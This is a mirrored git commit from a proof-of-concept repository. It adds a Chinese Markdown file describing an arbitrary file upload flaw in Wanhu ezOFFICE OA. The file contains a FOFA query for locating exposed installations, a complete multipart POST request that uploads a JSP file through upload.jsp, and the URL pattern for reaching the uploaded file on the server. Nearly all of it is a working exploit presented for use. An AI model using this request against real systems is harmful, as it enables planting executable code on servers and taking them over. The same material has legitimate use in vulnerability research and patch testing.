mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 万户OA-upload任意文件上传漏洞.md
This commit is contained in:
parent
16ba18613e
commit
3a051efca7
28
万户OA-upload任意文件上传漏洞.md
Normal file
28
万户OA-upload任意文件上传漏洞.md
Normal file
@ -0,0 +1,28 @@
|
||||
## 万户OA-upload任意文件上传漏洞
|
||||
|
||||
## fofa
|
||||
```
|
||||
app="万户ezOFFICE协同管理平台"
|
||||
```
|
||||
|
||||
## poc
|
||||
```
|
||||
POST /defaultroot/platform/portal/layout/common/upload.jsp?portletSettingId=123&path=abc HTTP/1.1
|
||||
Host: your-ip
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed
|
||||
|
||||
--b0d829daa06c13d6b3e16b0ad21d1eed
|
||||
Content-Disposition: form-data; name="file"; filename="1.jsp"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<%out.print("test");%>
|
||||
--b0d829daa06c13d6b3e16b0ad21d1eed--
|
||||
```
|
||||

|
||||
|
||||
上传文件地址:`http://your-ip/defaultroot/upload/abc(path参数的值)/202311(现年月)/(返回的文件名).jsp`
|
||||
Loading…
x
Reference in New Issue
Block a user